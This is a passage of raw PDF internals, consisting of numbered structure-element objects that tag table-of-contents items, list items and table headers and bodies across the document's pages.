+endobj +4131 0 obj +<< +/K [1327 0 R 1271 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4132 0 obj +<< +/K [1328 0 R 1273 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4133 0 obj +<< +/K [1329 0 R 1275 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4134 0 obj +<< +/K [1330 0 R 1277 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4135 0 obj +<< +/K [1331 0 R 1279 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4136 0 obj +<< +/K [1332 0 R 1281 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4137 0 obj +<< +/K [1333 0 R 1283 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4138 0 obj +<< +/K [1334 0 R 1285 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4139 0 obj +<< +/K [1335 0 R 1287 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4140 0 obj +<< +/K [1336 0 R 1289 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4141 0 obj +<< +/K [1337 0 R 1291 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4142 0 obj +<< +/K [1338 0 R 1293 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4143 0 obj +<< +/K [1339 0 R 1295 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4144 0 obj +<< +/K [1340 0 R 1297 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4145 0 obj +<< +/K [1341 0 R 1343 0 R] +/P 525 0 R +/Pg 12 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4146 0 obj +<< +/K [1426 0 R 1345 0 R] +/P 525 0 R +/Pg 12 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4147 0 obj +<< +/K [1427 0 R 1347 0 R] +/P 525 0 R +/Pg 12 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4148 0 obj +<< +/K [1428 0 R 1349 0 R] +/P 525 0 R +/Pg 12 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4149 0 obj +<< +/K [1429 0 R 1351 0 R] +/P 525 0 R +/Pg 12 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4150 0 obj +<< +/K [1430 0 R 1353 0 R] +/P 525 0 R +/Pg 12 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4151 0 obj +<< +/K [1431 0 R 1355 0 R] +/P 525 0 R +/Pg 12 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4152 0 obj +<< +/K [1432 0 R 1357 0 R] +/P 525 0 R +/Pg 12 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4153 0 obj +<< +/K [1433 0 R 1359 0 R] +/P 525 0 R +/Pg 12 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4154 0 obj +<< +/K [1434 0 R 1361 0 R] +/P 525 0 R +/Pg 12 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4155 0 obj +<< +/K [1435 0 R 1363 0 R] +/P 525 0 R +/Pg 12 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4156 0 obj +<< +/K [1436 0 R 1365 0 R] +/P 525 0 R +/Pg 12 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4157 0 obj +<< +/K [1437 0 R 1367 0 R] +/P 525 0 R +/Pg 12 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4158 0 obj +<< +/K [1438 0 R 1369 0 R] +/P 525 0 R +/Pg 12 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4159 0 obj +<< +/K [1439 0 R 1371 0 R] +/P 525 0 R +/Pg 12 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4160 0 obj +<< +/K [1440 0 R 1373 0 R] +/P 525 0 R +/Pg 12 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4161 0 obj +<< +/K [1441 0 R 1375 0 R] +/P 525 0 R +/Pg 12 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4162 0 obj +<< +/K [1442 0 R 1377 0 R] +/P 525 0 R +/Pg 12 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4163 0 obj +<< +/K [1443 0 R 1379 0 R] +/P 525 0 R +/Pg 12 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4164 0 obj +<< +/K [1444 0 R 1381 0 R] +/P 525 0 R +/Pg 12 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4165 0 obj +<< +/K [1445 0 R 1383 0 R] +/P 525 0 R +/Pg 12 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4166 0 obj +<< +/K [1446 0 R 1385 0 R] +/P 525 0 R +/Pg 12 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4167 0 obj +<< +/K [1447 0 R 1387 0 R] +/P 525 0 R +/Pg 12 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4168 0 obj +<< +/K [1448 0 R 1389 0 R] +/P 525 0 R +/Pg 12 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4169 0 obj +<< +/K [1449 0 R 1394 0 R] +/P 525 0 R +/Pg 12 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4170 0 obj +<< +/K [1450 0 R 1399 0 R] +/P 525 0 R +/Pg 12 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4171 0 obj +<< +/K [1451 0 R 1404 0 R] +/P 525 0 R +/Pg 12 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4172 0 obj +<< +/K [1452 0 R 1409 0 R] +/P 525 0 R +/Pg 12 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4173 0 obj +<< +/K [1453 0 R 1414 0 R] +/P 525 0 R +/Pg 12 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4174 0 obj +<< +/K [1454 0 R 1419 0 R] +/P 525 0 R +/Pg 12 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4175 0 obj +<< +/K [1455 0 R 1424 0 R] +/P 525 0 R +/Pg 12 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4176 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +4177 0 obj +<< +/K [1463 0 R] +/P 543 0 R +/Pg 14 0 R +/S /LI +/Type /StructElem +>> +endobj +4178 0 obj +<< +/K [1464 0 R] +/P 543 0 R +/Pg 14 0 R +/S /LI +/Type /StructElem +>> +endobj +4179 0 obj +<< +/K [1465 0 R] +/P 543 0 R +/Pg 14 0 R +/S /LI +/Type /StructElem +>> +endobj +4180 0 obj +<< +/K [1466 0 R] +/P 543 0 R +/Pg 14 0 R +/S /LI +/Type /StructElem +>> +endobj +4181 0 obj +<< +/K [1467 0 R] +/P 543 0 R +/Pg 14 0 R +/S /LI +/Type /StructElem +>> +endobj +4182 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +4183 0 obj +<< +/K [1468 0 R] +/P 548 0 R +/Pg 14 0 R +/S /LI +/Type /StructElem +>> +endobj +4184 0 obj +<< +/K [1469 0 R] +/P 548 0 R +/Pg 14 0 R +/S /LI +/Type /StructElem +>> +endobj +4185 0 obj +<< +/K [1470 0 R] +/P 548 0 R +/Pg 14 0 R +/S /LI +/Type /StructElem +>> +endobj +4186 0 obj +<< +/K [1471 0 R] +/P 548 0 R +/Pg 14 0 R +/S /LI +/Type /StructElem +>> +endobj +4187 0 obj +<< +/K [6143 0 R] +/P 569 0 R +/S /THead +/Type /StructElem +>> +endobj +4188 0 obj +<< +/K [6144 0 R 6145 0 R 6146 0 R 6147 0 R 6148 0 R 6149 0 R 6150 0 R 6151 0 R] +/P 569 0 R +/Pg 15 0 R +/S /TBody +/Type /StructElem +>> +endobj +4189 0 obj +<< +/K [6152 0 R] +/P 571 0 R +/S /THead +/Type /StructElem +>> +endobj +4190 0 obj +<< +/K [6153 0 R 6154 0 R 6155 0 R 6156 0 R] +/P 571 0 R +/Pg 16 0 R +/S /TBody +/Type /StructElem +>> +endobj +4191 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +4192 0 obj +<< +/K [1550 0 R] +/P 579 0 R +/Pg 17 0 R +/S /LI +/Type /StructElem +>> +endobj +4193 0 obj +<< +/K [1551 0 R] +/P 579 0 R +/Pg 17 0 R +/S /LI +/Type /StructElem +>> +endobj +4194 0 obj +<< +/ListNumbering /Decimal +/O /List +>> +endobj +4195 0 obj +<< +/K [1578 0 R] +/P 656 0 R +/Pg 21 0 R +/S /LI +/Type /StructElem +>> +endobj +4196 0 obj +<< +/K [1579 0 R] +/P 656 0 R +/Pg 21 0 R +/S /LI +/Type /StructElem +>> +endobj +4197 0 obj +<< +/K [1580 0 R] +/P 656 0 R +/Pg 21 0 R +/S /LI +/Type /StructElem +>> +endobj +4198 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +4199 0 obj +<< +/K [4616 0 R] +/P 658 0 R +/Pg 21 0 R +/S /LI +/Type /StructElem +>> +endobj +4200 0 obj +<< +/K [1586 0 R] +/P 658 0 R +/Pg 21 0 R +/S /LI +/Type /StructElem +>> +endobj +4201 0 obj +<< +/K [1587 0 R] +/P 658 0 R +/Pg 21 0 R +/S /LI +/Type /StructElem +>> +endobj +4202 0 obj +<< +/K [1588 0 R] +/P 658 0 R +/Pg 21 0 R +/S /LI +/Type /StructElem +>> +endobj +4203 0 obj +<< +/K [1589 0 R] +/P 658 0 R +/Pg 21 0 R +/S /LI +/Type /StructElem +>> +endobj +4204 0 obj +<< +/K [1590 0 R] +/P 658 0 R +/Pg 21 0 R +/S /LI +/Type /StructElem +>> +endobj +4205 0 obj +<< +/K [1591 0 R] +/P 658 0 R +/Pg 21 0 R +/S /LI +/Type /StructElem +>> +endobj +4206 0 obj +<< +/K [4617 0 R] +/P 658 0 R +/Pg 21 0 R +/S /LI +/Type /StructElem +>> +endobj +4207 0 obj +<< +/K [4618 0 R] +/P 658 0 R +/Pg 21 0 R +/S /LI +/Type /StructElem +>> +endobj +4208 0 obj +<< +/K [1608 0 R] +/P 658 0 R +/Pg 21 0 R +/S /LI +/Type /StructElem +>> +endobj +4209 0 obj +<< +/K [4619 0 R] +/P 658 0 R +/Pg 21 0 R +/S /LI +/Type /StructElem +>> +endobj +4210 0 obj +<< +/K [6157 0 R] +/P 707 0 R +/S /THead +/Type /StructElem +>> +endobj +4211 0 obj +<< +/K [6158 0 R] +/P 707 0 R +/Pg 24 0 R +/S /TBody +/Type /StructElem +>> +endobj +4212 0 obj +<< +/K [6159 0 R] +/P 708 0 R +/S /THead +/Type /StructElem +>> +endobj +4213 0 obj +<< +/K [6160 0 R 6161 0 R 6162 0 R 6163 0 R] +/P 708 0 R +/Pg 25 0 R +/S /TBody +/Type /StructElem +>> +endobj +4214 0 obj +<< +/K [6164 0 R 6165 0 R 6166 0 R 6167 0 R] +/P 741 0 R +/S /THead +/Type /StructElem +>> +endobj +4215 0 obj +<< +/K [] +/P 741 0 R +/Pg 28 0 R +/S /TBody +/Type /StructElem +>> +endobj +4216 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +4217 0 obj +<< +/K [1703 0 R] +/P 749 0 R +/Pg 29 0 R +/S /LI +/Type /StructElem +>> +endobj +4218 0 obj +<< +/K [1704 0 R] +/P 749 0 R +/Pg 29 0 R +/S /LI +/Type /StructElem +>> +endobj +4219 0 obj +<< +/K [6168 0 R] +/P 780 0 R +/S /THead +/Type /StructElem +>> +endobj +4220 0 obj +<< +/K [6169 0 R 6170 0 R 6171 0 R 6172 0 R] +/P 780 0 R +/Pg 31 0 R +/S /TBody +/Type /StructElem +>> +endobj +4221 0 obj +<< +/ListNumbering /Decimal +/O /List +>> +endobj +4222 0 obj +<< +/K [1752 0 R] +/P 806 0 R +/Pg 32 0 R +/S /LI +/Type /StructElem +>> +endobj +4223 0 obj +<< +/K [1753 0 R] +/P 806 0 R +/Pg 32 0 R +/S /LI +/Type /StructElem +>> +endobj +4224 0 obj +<< +/K [1754 0 R] +/P 806 0 R +/Pg 32 0 R +/S /LI +/Type /StructElem +>> +endobj +4225 0 obj +<< +/K [1755 0 R] +/P 806 0 R +/Pg 32 0 R +/S /LI +/Type /StructElem +>> +endobj +4226 0 obj +<< +/K [1756 0 R] +/P 806 0 R +/Pg 32 0 R +/S /LI +/Type /StructElem +>> +endobj +4227 0 obj +<< +/K [1757 0 R] +/P 806 0 R +/Pg 32 0 R +/S /LI +/Type /StructElem +>> +endobj +4228 0 obj +<< +/K [1758 0 R] +/P 806 0 R +/Pg 32 0 R +/S /LI +/Type /StructElem +>> +endobj +4229 0 obj +<< +/K [1759 0 R] +/P 806 0 R +/Pg 32 0 R +/S /LI +/Type /StructElem +>> +endobj +4230 0 obj +<< +/K [1760 0 R] +/P 806 0 R +/Pg 32 0 R +/S /LI +/Type /StructElem +>> +endobj +4231 0 obj +<< +/K [1761 0 R] +/P 806 0 R +/Pg 32 0 R +/S /LI +/Type /StructElem +>> +endobj +4232 0 obj +<< +/K [6173 0 R] +/P 810 0 R +/S /THead +/Type /StructElem +>> +endobj +4233 0 obj +<< +/K [6174 0 R 6175 0 R 6176 0 R] +/P 810 0 R +/Pg 32 0 R +/S /TBody +/Type /StructElem +>> +endobj +4234 0 obj +<< +/K [6177 0 R] +/P 811 0 R +/S /THead +/Type /StructElem +>> +endobj +4235 0 obj +<< +/K [6178 0 R 6179 0 R] +/P 811 0 R +/Pg 33 0 R +/S /TBody +/Type /StructElem +>> +endobj +4236 0 obj +<< +/K [6180 0 R] +/P 823 0 R +/S /THead +/Type /StructElem +>> +endobj +4237 0 obj +<< +/K [] +/P 823 0 R +/Pg 33 0 R +/S /TBody +/Type /StructElem +>> +endobj +4238 0 obj +<< +/K [6181 0 R 6182 0 R] +/P 828 0 R +/S /THead +/Type /StructElem +>> +endobj +4239 0 obj +<< +/K [6183 0 R 6184 0 R 6185 0 R 6186 0 R 6187 0 R 6188 0 R 6189 0 R 6190 0 R] +/P 828 0 R +/Pg 34 0 R +/S /TBody +/Type /StructElem +>> +endobj +4240 0 obj +<< +/K [6191 0 R 6192 0 R] +/P 829 0 R +/S /THead +/Type /StructElem +>> +endobj +4241 0 obj +<< +/K [6193 0 R 6194 0 R 6195 0 R 6196 0 R 6197 0 R 6198 0 R 6199 0 R 6200 0 R] +/P 829 0 R +/Pg 35 0 R +/S /TBody +/Type /StructElem +>> +endobj +4242 0 obj +<< +/K [6201 0 R 6202 0 R] +/P 830 0 R +/S /THead +/Type /StructElem +>> +endobj +4243 0 obj +<< +/K [6203 0 R 6204 0 R 6205 0 R 6206 0 R 6207 0 R 6208 0 R 6209 0 R 6210 0 R 6211 0 R] +/P 830 0 R +/Pg 36 0 R +/S /TBody +/Type /StructElem +>> +endobj +4244 0 obj +<< +/K [6212 0 R 6213 0 R] +/P 831 0 R +/S /THead +/Type /StructElem +>> +endobj +4245 0 obj +<< +/K [6214 0 R 6215 0 R 6216 0 R 6217 0 R 6218 0 R 6219 0 R 6220 0 R 6221 0 R 6222 0 R] +/P 831 0 R +/Pg 37 0 R +/S /TBody +/Type /StructElem +>> +endobj +4246 0 obj +<< +/K [6223 0 R 6224 0 R] +/P 832 0 R +/S /THead +/Type /StructElem +>> +endobj +4247 0 obj +<< +/K [6225 0 R 6226 0 R 6227 0 R 6228 0 R] +/P 832 0 R +/Pg 38 0 R +/S /TBody +/Type /StructElem +>> +endobj +4248 0 obj +<< +/K [6229 0 R 6230 0 R] +/P 833 0 R +/S /THead +/Type /StructElem +>> +endobj +4249 0 obj +<< +/K [6231 0 R 6232 0 R 6233 0 R 6234 0 R] +/P 833 0 R +/Pg 39 0 R +/S /TBody +/Type /StructElem +>> +endobj +4250 0 obj +<< +/K [6235 0 R] +/P 844 0 R +/S /THead +/Type /StructElem +>> +endobj +4251 0 obj +<< +/K [6236 0 R 6237 0 R 6238 0 R 6239 0 R 6240 0 R 6241 0 R 6242 0 R] +/P 844 0 R +/Pg 40 0 R +/S /TBody +/Type /StructElem +>> +endobj +4252 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +4253 0 obj +<< +/K [2336 0 R] +/P 851 0 R +/Pg 41 0 R +/S /LI +/Type /StructElem +>> +endobj +4254 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +4255 0 obj +<< +/K [2342 0 R] +/P 854 0 R +/Pg 41 0 R +/S /LI +/Type /StructElem +>> +endobj +4256 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +4257 0 obj +<< +/K [2343 0 R] +/P 862 0 R +/Pg 41 0 R +/S /LI +/Type /StructElem +>> +endobj +4258 0 obj +<< +/K [2344 0 R] +/P 862 0 R +/Pg 41 0 R +/S /LI +/Type /StructElem +>> +endobj +4259 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +4260 0 obj +<< +/K [2357 0 R] +/P 873 0 R +/Pg 42 0 R +/S /LI +/Type /StructElem +>> +endobj +4261 0 obj +<< +/K [2358 0 R] +/P 873 0 R +/Pg 42 0 R +/S /LI +/Type /StructElem +>> +endobj +4262 0 obj +<< +/K [2359 0 R] +/P 873 0 R +/Pg 42 0 R +/S /LI +/Type /StructElem +>> +endobj +4263 0 obj +<< +/K [6243 0 R 6244 0 R 6245 0 R 6246 0 R 6247 0 R] +/P 883 0 R +/S /THead +/Type /StructElem +>> +endobj +4264 0 obj +<< +/K [] +/P 883 0 R +/Pg 43 0 R +/S /TBody +/Type /StructElem +>> +endobj +4265 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +4266 0 obj +<< +/K [2378 0 R] +/P 886 0 R +/Pg 43 0 R +/S /LI +/Type /StructElem +>> +endobj +4267 0 obj +<< +/K [2379 0 R] +/P 886 0 R +/Pg 43 0 R +/S /LI +/Type /StructElem +>> +endobj +4268 0 obj +<< +/K [2380 0 R] +/P 886 0 R +/Pg 43 0 R +/S /LI +/Type /StructElem +>> +endobj +4269 0 obj +<< +/K [2381 0 R] +/P 886 0 R +/Pg 43 0 R +/S /LI +/Type /StructElem +>> +endobj +4270 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +4271 0 obj +<< +/K [2399 0 R] +/P 936 0 R +/Pg 46 0 R +/S /LI +/Type /StructElem +>> +endobj +4272 0 obj +<< +/K [5027 0 R] +/P 936 0 R +/Pg 46 0 R +/S /LI +/Type /StructElem +>> +endobj +4273 0 obj +<< +/K [2405 0 R] +/P 936 0 R +/Pg 46 0 R +/S /LI +/Type /StructElem +>> +endobj +4274 0 obj +<< +/K [2406 0 R] +/P 936 0 R +/Pg 46 0 R +/S /LI +/Type /StructElem +>> +endobj +4275 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +4276 0 obj +<< +/K [2407 0 R] +/P 941 0 R +/Pg 46 0 R +/S /LI +/Type /StructElem +>> +endobj +4277 0 obj +<< +/K [2408 0 R] +/P 941 0 R +/Pg 46 0 R +/S /LI +/Type /StructElem +>> +endobj +4278 0 obj +<< +/K [2409 0 R] +/P 941 0 R +/Pg 46 0 R +/S /LI +/Type /StructElem +>> +endobj +4279 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +4280 0 obj +<< +/K [2418 0 R] +/P 959 0 R +/Pg 47 0 R +/S /LI +/Type /StructElem +>> +endobj +4281 0 obj +<< +/K [2419 0 R] +/P 959 0 R +/Pg 47 0 R +/S /LI +/Type /StructElem +>> +endobj +4282 0 obj +<< +/K [2420 0 R] +/P 959 0 R +/Pg 47 0 R +/S /LI +/Type /StructElem +>> +endobj +4283 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +4284 0 obj +<< +/K [2421 0 R] +/P 962 0 R +/Pg 47 0 R +/S /LI +/Type /StructElem +>> +endobj +4285 0 obj +<< +/K [2422 0 R] +/P 962 0 R +/Pg 47 0 R +/S /LI +/Type /StructElem +>> +endobj +4286 0 obj +<< +/K [6248 0 R] +/P 968 0 R +/S /THead +/Type /StructElem +>> +endobj +4287 0 obj +<< +/K [6249 0 R 6250 0 R 6251 0 R 6252 0 R] +/P 968 0 R +/Pg 48 0 R +/S /TBody +/Type /StructElem +>> +endobj +4288 0 obj +<< +/K [6253 0 R] +/P 975 0 R +/S /THead +/Type /StructElem +>> +endobj +4289 0 obj +<< +/K [6254 0 R 6255 0 R 6256 0 R 6257 0 R 6258 0 R 6259 0 R 6260 0 R 6261 0 R 6262 0 R 6263 0 R +6264 0 R 6265 0 R 6266 0 R 6267 0 R 6268 0 R 6269 0 R 6270 0 R 6271 0 R 6272 0 R 6273 0 R +6274 0 R 6275 0 R 6276 0 R 6277 0 R 6278 0 R 6279 0 R 6280 0 R 6281 0 R 6282 0 R 6283 0 R +6284 0 R] +/P 975 0 R +/Pg 49 0 R +/S /TBody +/Type /StructElem +>> +endobj +4290 0 obj +<< +/K [6285 0 R] +/P 976 0 R +/S /THead +/Type /StructElem +>> +endobj +4291 0 obj +<< +/K [6286 0 R 6287 0 R 6288 0 R] +/P 976 0 R +/Pg 50 0 R +/S /TBody +/Type /StructElem +>> +endobj +4292 0 obj +<< +/K [6289 0 R] +/P 983 0 R +/S /THead +/Type /StructElem +>> +endobj +4293 0 obj +<< +/K [6290 0 R 6291 0 R 6292 0 R 6293 0 R 6294 0 R 6295 0 R 6296 0 R 6297 0 R 6298 0 R 6299 0 R +6300 0 R 6301 0 R 6302 0 R 6303 0 R 6304 0 R 6305 0 R 6306 0 R 6307 0 R 6308 0 R 6309 0 R +6310 0 R 6311 0 R 6312 0 R 6313 0 R 6314 0 R 6315 0 R 6316 0 R 6317 0 R 6318 0 R 6319 0 R +6320 0 R] +/P 983 0 R +/Pg 51 0 R +/S /TBody +/Type /StructElem +>> +endobj +4294 0 obj +<< +/K [6321 0 R] +/P 984 0 R +/S /THead +/Type /StructElem +>> +endobj +4295 0 obj +<< +/K [6322 0 R 6323 0 R 6324 0 R] +/P 984 0 R +/Pg 52 0 R +/S /TBody +/Type /StructElem +>> +endobj +4296 0 obj +<< +/K [6325 0 R] +/P 990 0 R +/S /THead +/Type /StructElem +>> +endobj +4297 0 obj +<< +/K [6326 0 R 6327 0 R 6328 0 R 6329 0 R 6330 0 R 6331 0 R 6332 0 R 6333 0 R 6334 0 R 6335 0 R +6336 0 R 6337 0 R 6338 0 R 6339 0 R 6340 0 R 6341 0 R 6342 0 R 6343 0 R 6344 0 R 6345 0 R +6346 0 R 6347 0 R 6348 0 R 6349 0 R 6350 0 R 6351 0 R 6352 0 R 6353 0 R 6354 0 R 6355 0 R +6356 0 R] +/P 990 0 R +/Pg 53 0 R +/S /TBody +/Type /StructElem +>> +endobj +4298 0 obj +<< +/K [6357 0 R] +/P 991 0 R +/S /THead +/Type /StructElem +>> +endobj +4299 0 obj +<< +/K [6358 0 R 6359 0 R 6360 0 R] +/P 991 0 R +/Pg 54 0 R +/S /TBody +/Type /StructElem +>> +endobj +4300 0 obj +<< +/K [6361 0 R] +/P 999 0 R +/S /THead +/Type /StructElem +>> +endobj +4301 0 obj +<< +/K [6362 0 R 6363 0 R 6364 0 R 6365 0 R 6366 0 R 6367 0 R 6368 0 R] +/P 999 0 R +/Pg 54 0 R +/S /TBody +/Type /StructElem +>> +endobj +4302 0 obj +<< +/K [6369 0 R] +/P 1000 0 R +/S /THead +/Type /StructElem +>> +endobj +4303 0 obj +<< +/K [6370 0 R 6371 0 R 6372 0 R 6373 0 R 6374 0 R 6375 0 R 6376 0 R 6377 0 R 6378 0 R 6379 0 R +6380 0 R 6381 0 R 6382 0 R 6383 0 R 6384 0 R 6385 0 R 6386 0 R 6387 0 R 6388 0 R 6389 0 R +6390 0 R 6391 0 R 6392 0 R 6393 0 R 6394 0 R 6395 0 R 6396 0 R] +/P 1000 0 R +/Pg 55 0 R +/S /TBody +/Type /StructElem +>> +endobj +4304 0 obj +<< +/K [6397 0 R] +/P 1008 0 R +/S /THead +/Type /StructElem +>> +endobj +4305 0 obj +<< +/K [6398 0 R 6399 0 R 6400 0 R 6401 0 R 6402 0 R 6403 0 R 6404 0 R 6405 0 R 6406 0 R 6407 0 R +6408 0 R 6409 0 R 6410 0 R 6411 0 R] +/P 1008 0 R +/Pg 56 0 R +/S /TBody +/Type /StructElem +>> +endobj +4306 0 obj +<< +/K [6412 0 R] +/P 1009 0 R +/S /THead +/Type /StructElem +>> +endobj +4307 0 obj +<< +/K [6413 0 R 6414 0 R 6415 0 R 6416 0 R 6417 0 R 6418 0 R 6419 0 R 6420 0 R 6421 0 R 6422 0 R +6423 0 R 6424 0 R 6425 0 R 6426 0 R 6427 0 R 6428 0 R 6429 0 R 6430 0 R 6431 0 R 6432 0 R] +/P 1009 0 R +/Pg 57 0 R +/S /TBody +/Type /StructElem +>> +endobj +4308 0 obj +<< +/K [6433 0 R] +/P 1030 0 R +/S /THead +/Type /StructElem +>> +endobj +4309 0 obj +<< +/K [] +/P 1030 0 R +/Pg 60 0 R +/S /TBody +/Type /StructElem +>> +endobj +4310 0 obj +<< +/K [6434 0 R] +/P 1042 0 R +/S /THead +/Type /StructElem +>> +endobj +4311 0 obj +<< +/K [6435 0 R] +/P 1042 0 R +/Pg 61 0 R +/S /TBody +/Type /StructElem +>> +endobj +4312 0 obj +<< +/K [6436 0 R] +/P 1050 0 R +/S /THead +/Type /StructElem +>> +endobj +4313 0 obj +<< +/K [6437 0 R 6438 0 R] +/P 1050 0 R +/Pg 62 0 R +/S /TBody +/Type /StructElem +>> +endobj +4314 0 obj +<< +/K [6439 0 R] +/P 1058 0 R +/S /THead +/Type /StructElem +>> +endobj +4315 0 obj +<< +/K [6440 0 R] +/P 1058 0 R +/Pg 63 0 R +/S /TBody +/Type /StructElem +>> +endobj +4316 0 obj +<< +/K [6441 0 R 6442 0 R] +/P 1065 0 R +/S /THead +/Type /StructElem +>> +endobj +4317 0 obj +<< +/K [6443 0 R 6444 0 R 6445 0 R 6446 0 R 6447 0 R 6448 0 R 6449 0 R 6450 0 R 6451 0 R 6452 0 R +6453 0 R 6454 0 R 6455 0 R 6456 0 R 6457 0 R] +/P 1065 0 R +/Pg 64 0 R +/S /TBody +/Type /StructElem +>> +endobj +4318 0 obj +<< +/K [6458 0 R] +/P 1069 0 R +/S /THead +/Type /StructElem +>> +endobj +4319 0 obj +<< +/K [6459 0 R 6460 0 R 6461 0 R 6462 0 R 6463 0 R 6464 0 R] +/P 1069 0 R +/Pg 64 0 R +/S /TBody +/Type /StructElem +>> +endobj +4320 0 obj +<< +/ListNumbering /Decimal +/O /List +>> +endobj +4321 0 obj +<< +/K [3030 0 R] +/P 1095 0 R +/Pg 66 0 R +/S /LI +/Type /StructElem +>> +endobj +4322 0 obj +<< +/K [6465 0 R 6466 0 R 6467 0 R 6468 0 R 6469 0 R 6470 0 R 6471 0 R] +/P 1097 0 R +/S /THead +/Type /StructElem +>> +endobj +4323 0 obj +<< +/K [] +/P 1097 0 R +/Pg 66 0 R +/S /TBody +/Type /StructElem +>> +endobj +4324 0 obj +<< +/ListNumbering /Decimal +/O /List +>> +endobj +4325 0 obj +<< +/K [3076 0 R] +/P 1099 0 R +/Pg 67 0 R +/S /LI +/Type /StructElem +>> +endobj +4326 0 obj +<< +/K [6472 0 R] +/P 1101 0 R +/S /THead +/Type /StructElem +>> +endobj +4327 0 obj +<< +/K [6473 0 R 6474 0 R 6475 0 R] +/P 1101 0 R +/Pg 67 0 R +/S /TBody +/Type /StructElem +>> +endobj +4328 0 obj +<< +/ListNumbering /Decimal +/O /List +>> +endobj +4329 0 obj +<< +/K [6476 0 R] +/P 1103 0 R +/Pg 67 0 R +/S /LI +/Type /StructElem +>> +endobj +4330 0 obj +<< +/ListNumbering /Decimal +/O /List +>> +endobj +4331 0 obj +<< +/K [3111 0 R] +/P 1104 0 R +/Pg 68 0 R +/S /LI +/Type /StructElem +>> +endobj +4332 0 obj +<< +/K [6477 0 R] +/P 1106 0 R +/S /THead +/Type /StructElem +>> +endobj +4333 0 obj +<< +/K [6478 0 R] +/P 1106 0 R +/Pg 68 0 R +/S /TBody +/Type /StructElem +>> +endobj +4334 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +4335 0 obj +<< +/K [5604 0 R] +/P 1109 0 R +/Pg 68 0 R +/S /LI +/Type /StructElem +>> +endobj +4336 0 obj +<< +/K [3129 0 R] +/P 1109 0 R +/Pg 68 0 R +/S /LI +/Type /StructElem +>> +endobj +4337 0 obj +<< +/K [6479 0 R] +/P 1115 0 R +/S /THead +/Type /StructElem +>> +endobj +4338 0 obj +<< +/K [6480 0 R 6481 0 R 6482 0 R 6483 0 R 6484 0 R 6485 0 R 6486 0 R] +/P 1115 0 R +/Pg 68 0 R +/S /TBody +/Type /StructElem +>> +endobj +4339 0 obj +<< +/K [6487 0 R] +/P 1116 0 R +/S /THead +/Type /StructElem +>> +endobj +4340 0 obj +<< +/K [6488 0 R 6489 0 R 6490 0 R] +/P 1116 0 R +/Pg 69 0 R +/S /TBody +/Type /StructElem +>> +endobj +4341 0 obj +<< +/K [6491 0 R 6492 0 R 6493 0 R 6494 0 R 6495 0 R 6496 0 R 6497 0 R 6498 0 R 6499 0 R 6500 0 R +6501 0 R 6502 0 R 6503 0 R] +/P 1119 0 R +/S /THead +/Type /StructElem +>> +endobj +4342 0 obj +<< +/K [] +/P 1119 0 R +/Pg 69 0 R +/S /TBody +/Type /StructElem +>> +endobj +4343 0 obj +<< +/K [6504 0 R 